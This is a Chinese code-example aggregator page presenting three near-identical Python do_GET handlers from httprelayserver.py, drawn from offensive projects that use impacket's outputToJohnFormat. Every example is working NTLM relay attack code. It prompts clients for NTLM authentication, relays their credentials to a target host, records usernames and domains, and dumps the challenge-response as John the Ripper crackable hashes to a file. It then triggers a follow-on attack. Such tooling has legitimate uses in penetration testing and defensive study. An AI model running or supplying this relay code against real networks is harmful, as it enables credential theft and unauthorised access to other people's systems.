当前位置: 首页>>代码示例>>Python>>正文


Python smbserver.outputToJohnFormat方法代码示例

本文整理汇总了Python中impacket.smbserver.outputToJohnFormat方法的典型用法代码示例。如果您正苦于以下问题:Python smbserver.outputToJohnFormat方法的具体用法?Python smbserver.outputToJohnFormat怎么用?Python smbserver.outputToJohnFormat使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在impacket.smbserver的用法示例。


在下文中一共展示了smbserver.outputToJohnFormat方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: do_GET

# 需要导入模块: from impacket import smbserver [as 别名]
# 或者: from impacket.smbserver import outputToJohnFormat [as 别名]
def do_GET(self):
            messageType = 0
            if self.server.config.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            if self.headers.getheader('Authorization') is None:
                self.do_AUTHHEAD(message = 'NTLM')
                pass
            else:
                typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD()
                messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token):
                    #Connection failed
                    self.server.config.target.log_target(self.client_address[0],self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if not self.do_ntlm_auth(token,authenticateMessage):
                    logging.error("Authenticating against %s as %s\%s FAILED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))

                    #Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
                    if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.log_target(self.client_address[0],self.target)
                        #No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD('NTLM')
                else:
                    # Relay worked, do whatever we want here...
                    logging.info("Authenticating against %s as %s\%s SUCCEED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))
                    ntlm_hash_data = outputToJohnFormat( self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] )
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)
                    self.server.config.target.log_target(self.client_address[0],self.target)
                    self.do_attack()
                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length','0')
                    self.send_header('Connection','close')
                    self.end_headers()
            return 
开发者ID:joxeankoret,项目名称:CVE-2017-7494,代码行数:56,代码来源:httprelayserver.py

示例2: do_GET

# 需要导入模块: from impacket import smbserver [as 别名]
# 或者: from impacket.smbserver import outputToJohnFormat [as 别名]
def do_GET(self):
            messageType = 0
            if self.server.config.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            if self.headers.getheader('Authorization') is None:
                self.do_AUTHHEAD(message = 'NTLM')
                pass
            else:
                typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD()
                messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token):
                    #Connection failed
                    self.server.config.target.log_target(self.client_address[0],self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if not self.do_ntlm_auth(token,authenticateMessage):
                    logging.error("Authenticating against %s as %s\%s FAILED" % (
                    self.target[1], authenticateMessage['domain_name'], authenticateMessage['user_name']))

                    #Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
                    if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.log_target(self.client_address[0],self.target)
                        #No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD('NTLM')
                else:
                    # Relay worked, do whatever we want here...
                    logging.info("Authenticating against %s as %s\%s SUCCEED" % (
                    self.target[1], authenticateMessage['domain_name'], authenticateMessage['user_name']))
                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                        authenticateMessage['user_name'],
                                                        authenticateMessage['domain_name'],
                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)
                    self.server.config.target.log_target(self.client_address[0],self.target)

                    self.do_attack( {'CHALLENGE_MESSAGE': self.challengeMessage} )
                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length','0')
                    self.send_header('Connection','close')
                    self.end_headers()
            return 
开发者ID:eth0izzle,项目名称:cracke-dit,代码行数:62,代码来源:httprelayserver.py

示例3: do_GET

# 需要导入模块: from impacket import smbserver [as 别名]
# 或者: from impacket.smbserver import outputToJohnFormat [as 别名]
def do_GET(self):
			messageType = 0
			if self.headers.getheader('Authorization') is None:
				self.do_AUTHHEAD(message = 'NTLM')
				pass
			else:
				typeX = self.headers.getheader('Authorization')
				try:
					_, blob = typeX.split('NTLM')
					token = base64.b64decode(blob.strip())
				except:
					self.do_AUTHHEAD()
				messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

			if messageType == 1:
				if not self.do_ntlm_negotiate(token):
					#Connection failed
					self.server.config.target.log_target(self.client_address[0],self.target)
					self.do_REDIRECT()
			elif messageType == 3:
				authenticateMessage = ntlm.NTLMAuthChallengeResponse()
				authenticateMessage.fromString(token)
				if not self.do_ntlm_auth(token,authenticateMessage):
					logging.error("Authenticating against %s as %s\%s FAILED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))

					#Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
					if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
						self.server.config.target.log_target(self.client_address[0],self.target)
						#No anonymous login, go to next host and avoid triggering a popup
						self.do_REDIRECT()
					else:
						#If it was an anonymous login, send 401
						self.do_AUTHHEAD('NTLM')
				else:
					# Relay worked, do whatever we want here...
					logging.info("Authenticating against %s as %s\%s SUCCEED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))
					ntlm_hash_data = outputToJohnFormat( self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] )
					logging.info(ntlm_hash_data['hash_string'])
					if self.server.config.outputFile is not None:
						writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)
					self.server.config.target.log_target(self.client_address[0],self.target)
					self.do_attack()
					# And answer 404 not found
					self.send_response(404)
					self.send_header('WWW-Authenticate', 'NTLM')
					self.send_header('Content-type', 'text/html')
					self.send_header('Content-Length','0')
					self.send_header('Connection','close')
					self.end_headers()
			return 
开发者ID:Arno0x,项目名称:NtlmRelayToEWS,代码行数:52,代码来源:httprelayserver.py


注:本文中的impacket.smbserver.outputToJohnFormat方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。